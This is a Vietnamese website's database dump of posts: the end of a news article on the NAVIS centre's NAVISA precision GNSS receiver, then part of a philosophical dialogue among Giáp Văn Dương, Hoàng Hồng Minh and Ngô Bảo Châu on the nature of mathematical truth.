Bộ thu độ chính xác cao NAVISA với các nghiên cứu cải tiến phù hợp với điều kiện hoạt động ngoài biển, kết hợp với các phần mềm xử lý, tính toán dữ liệu có thể giải quyết bài toán quan trọng liên quan đến theo dõi sự dịch chuyển và cảnh báo an toàn của nhà giàn chủ quyền trên biển Đông trong điều kiện thiên tai khắc nghiệt. Tuy nhiên, quy trình đề xuất, xét duyệt phức tạp, kéo dài, đã cản trở việc triển khai đề tài, dù ai cũng nhận ra tính cấp bách của nó.</div>
<div>
<br />
Ngoài ra, người sử dụng thông thường chỉ làm quen với các dịch vụ định vị tiêu chuẩn với độ chính xác cỡ 5-10m, tuy nhiên, hiện tại công nghệ định vị chính xác (precise positioning) rất phát triển, cung cấp cho người sử dụng chuyên biệt trong các lĩnh vực như trắc địa, xây dựng bản đồ, điều khiển phương tiện tự hành… các dịch vụ định vị có độ chính xác rất cao (cỡ mm, cm). Tại Việt Nam, giá thành của các bộ thu định vị chính xác ngoại nhập, đặc biệt các bộ thu cho kết quả theo thời gian thực có giá thành từ vài trăm triệu đến cả tỷ đồng, là cản trở rất lớn tới sự ứng dụng của công nghệ quan trọng này. Trong bối cảnh đó, NAVIS đã chế tạo thành công bộ thu NAVISA với tính năng đáp ứng đầy đủ các tiêu chuẩn của một bộ thu định vị chính xác.“Nhưng con đường đưa sản phẩm KHCN vàothực tiễn không hề đơn giản. Sự cản trở đôi khi đến từ tâm lý nghi kỵ các sản phẩm NCKH do các nhà khoa học Việt Nam tạo ra của các doanh nghiệp cũng như các đơn vị có nhu cầu” TS. Tùng nói. Tuy nhiên, từng bước một, để xây dựng lòng tin, NAVIS tạo điều kiện cho các doanh nghiệp có nhu cầu dùng thử sản phẩm của mình, cán bộ đã đến tận hiện trường để chứng minh năng lực của thiết bị.</div>
<div>
</div>
<div>
Bên cạnh nghiên cứu ứng dụng, NAVIS cũng đang triển khai các định hướng nghiên cứu hàn lâm. Theo TS. Tạ Hải Tùng, “Bây giờ là thời điểm vàng để nghiên cứu định vị sử dụng vệ tinh”. Bởi đến năm 2020, khi các hệ thống ngoài GPS phát triển hoàn thiện, với hơn 30 vệ tinh từ tất cả các hệ thốngxuất hiện đồng thời tại mọi thời điểm (nhiều nhất trên toàn thế giới), Đông Nam Á sẽ là địa điểm “lý tưởng” cho nghiên cứu về định vị. Tuy nhiên do gần xích đạo nơi có tầng điện ly hoạt động bất thường, nênĐNA cũng là nơi có chất lượng dịch vụ định vị không tốt so với các khu vực ở vĩ độ cao. Vì vậy, những mô hình dự báo hoạt động của tầng điện ly của các hệ thống GNSS hiện nay (vốn được thiết kế tối ưu cho khu vực vĩ độ cao) đáp ứng không hiệu quả ở Đông Nam Á. Cùng với các đối tác, NAVIS đang tiến hành các nghiên cứu sử dụng tín hiệu GNSS để phân tích các đặc trưng của tầng điện ly trong khu vực, nhằm mục đích nâng cao chất lượng định vị. Bên cạnh đó, trung tâm cũng triển khai các nghiên cứu quan trọng liên quan tới “an ninh”trong định vị để giải quyết các bài toán liên quan đến phá sóng, và giả mạo tín hiệu GPS, có ý nghĩa tối quan trọng trong an ninh – quốc phòng.</div>
<div>
</div>
<div>
Là một tố chức nghiên cứu trong trường đại học, TS. Tạ Hải Tùng xác định NAVIS sẽ phải tập trung song song nghiên cứu ứng dụng và nghiên cứu hàn lâm mà anh gọi đó là “hai chân” của trung tâm: “Chúng tôi sẽ đầu tư về con người, kết hợp với các dự án trong nước và quốc tế để ‘đi bằng hai chân’. Nhưng về lâu dài, một đơn vị nghiên cứu cần phải có các sản phẩm nghiên cứu cụ thể và phối hợp với các doanh nghiệp, tổ chức để áp dụng vào thực tế. Điều này nếu thành công sẽ tạo ra nguồn thu ổn định lâu dài cho Trung tâm. Từ đó, chúng tôi sẽ đầu tư trở lại cho nghiên cứuhàn lâm, tạo điều kiện phát triển đội ngũ NCKH trình độ cao, sẵn sàng cho những thách thức, và cơ hội phát triển mới”.</div>
',
'images' => '201606160308358deddf03f08b1252c7983c2c650c0410.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-16',
'modified' => '2025-08-18',
'status' => '1',
'view' => '62952',
'slug' => 'ap-luc-tu-hop-tac-quoc-te',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '711',
'rght' => '712',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 6 => array(
'Post' => array(
'id' => '410',
'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)',
'code' => null,
'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div>
<div>
<br />
<strong>Từ một cuộc gặp</strong><br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div>
<div>
</div>
<div>
Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div>
<div>
</div>
<div>
Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div>
<div>
</div>
<div>
Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div>
<div>
</div>
<div>
<strong>Dẫn chuyện</strong></div>
<div>
</div>
<div>
Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div>
<div>
</div>
<div>
Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div>
<div>
</div>
<div>
Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div>
<div>
</div>
<div>
Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div>
<div>
</div>
<div>
Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div>
<div>
Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div>
<div>
</div>
<div>
Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div>
<div>
</div>
<div>
Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div>
<div>
</div>
<div>
Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div>
<div>
</div>
<div>
Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div>
<div>
</div>
<div>
Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div>
<div>
</div>
<div>
Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div>
<div>
</div>
<div>
Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div>
<div>
</div>
<div>
Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div>
<div>
</div>
<div>
Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div>
<div>
</div>
<div>
Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div>
<div>
</div>
<div>
<strong>Tán gẫu qua mạng</strong></div>
<div>
</div>
<div>
Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div>
<div>
</div>
<div>
Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div>
<div>
</div>
<div>
Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div>
<div>
Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div>
<div>
</div>
<div>
Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div>
<div>
</div>
<div>
Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div>
<div>
</div>
<div>
Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div>
<div>
</div>
<div>
Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div>
<div>
</div>
<div>
Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div>
<div>
</div>
<div>
Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div>
<div>
</div>
<div>
Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div>
<div>
</div>
<div>
Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div>
<div>
</div>
<div>
Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div>
<div>
</div>
<div>
Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div>
<div>
</div>
<div>
Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div>
<div>
</div>
<div>
Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div>
<div>
</div>
<div>
Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div>
<div>
</div>
<div>
Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div>
<div>
</div>
<div>
Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div>
<div>
</div>
<div>
“Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div>
<div>
</div>
<div>
“Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div>
<div>
</div>
<div>
Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div>
<div>
</div>
<div>
Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div>
<div>
</div>
<div>
Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div>
<div>
</div>
<div>
Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div>
<div>
</div>
<div>
Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div>
<div>
Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div>
<div>
</div>
<div>
Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div>
<div>
</div>
<div>
Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div>
<div>
</div>
<div>
Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div>
<div>
</div>
<div>
Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div>
<div>
</div>
<div>
Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div>
<div>
</div>
<div>
Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div>
<div>
</div>
<div>
Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div>
<div>
</div>
<div>
Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div>
<div>
</div>
<div>
Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div>
<div>
</div>
<div>
Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div>
<div>
</div>
<div>
Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div>
<div>
</div>
<div>
Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div>
<div>
</div>
<div>
Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div>
<div>
</div>
<div>
Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div>
<div>
</div>
<div>
Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div>
<div>
</div>
<div>
Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div>
<div>
</div>
<div>
Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div>
<div>
</div>
<div>
Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div>
<div>
</div>
<div>
Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div>
<div>
</div>
<div>
Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div>
<div>
</div>
<div>
Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div>
<div>
</div>
<div>
Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div>
<div>
</div>
<div>
Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div>
<div>
</div>
<div>
Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div>
<div>
</div>
<div>
“Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div>
<div>
</div>
<div>
Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div>
<div>
</div>
<div>
Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div>
<div>
</div>
<div>
